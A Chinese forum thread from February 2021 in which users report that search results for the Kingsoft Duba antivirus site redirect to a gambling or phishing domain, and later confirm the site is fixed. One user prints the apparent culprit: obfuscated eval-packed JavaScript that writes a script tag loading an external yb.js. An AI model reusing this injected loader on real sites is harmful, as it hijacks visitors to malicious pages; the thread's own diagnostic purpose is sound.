通过搜索引擎进入毒霸官网会被定向到一个钓鱼网站[现恢复正常]

BFAX

无论是通过百度、360还是必应搜索金山毒霸通过搜索结果进入毒霸官网
都会先跳转到正常的毒霸官网，然后很快会跳转到https://2021758.com再跳转到网址:https://ayxbet7688.com/
看网站的内容应该是一钓鱼网站没跑了
我这情况是个例吗？还是都这样
PS:不过直接输入网址或者用谷歌没事

yaoyunjia

刚才试了一下，也一样

暗_黑

国内的搜索引擎差不多都会跳转

yaoyunjia

暗_黑 发表于 2021-2-15 18:08
国内的搜索引擎差不多都会跳转

微软bing搜索金山毒霸官网也会跳转

BFAX

yaoyunjia 发表于 2021-2-15 18:07
刚才试了一下，也一样

我差点以为是我们这里网络被搞了

暗_黑

yaoyunjia 发表于 2021-2-15 18:10
微软bing搜索金山毒霸官网也会跳转

目前好像就谷歌没事

1201QEW

太真实了，我也是刚发现这个问题，瑞星，360，火绒，微点百慧，智量，景云杀毒都没事，就金山毒霸官网被改了。

αdmin

暗_黑 发表于 2021-2-15 18:11
目前好像就谷歌没事

duba.net不一样

1003305532

我这里也跟你们一样

杀软病综合医院

讽刺，这是被黑了吧

傻瓜爱笨蛋

刚刚才发现真的是

zay365

被挂马了吗？哪个js被篡改了

YorkWaugh

直接访问https://www.ijinshan.com/似乎是正常的，百度结果会跳转

tg123321

成功复现

zay365

https://lelele1.com/yb.js
好像是这个

zay365

1. <script type="text/javascript">eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('m(d(p,a,c,k,e,r){e=d(c){f c.n(a)};h(!\'\'.i(/^/,o)){j(c--)r[e(c)]=k[c]||e(c);k=[d(e){f r[e]}];e=d(){f\'\\\\w+\'};c=1};j(c--)h(k[c])p=p.i(q s(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c]);f p}(\'1["2"]["3"](\\\'<0 4="5/6" 7="8://9.a/b.c"></0>\\\');\',l,l,\'t|u|v|x|y|z|A|B|C|D|E|F|G\'.H(\'|\'),0,{}))',44,44,'|||||||||||||function||return||if|replace|while||13|eval|toString|String||new||RegExp|script|window|document||write|type|text|javascript|src|https|lelele1|com|yb|js|split'.split('|'),0,{}))
   
2. </script>

复制代码

应该是这段

yaoyunjia

已经正常了

zay365

现已恢复正常

abcdefghihijk

已正常

花的神明

河北保定联通没事，不跳转。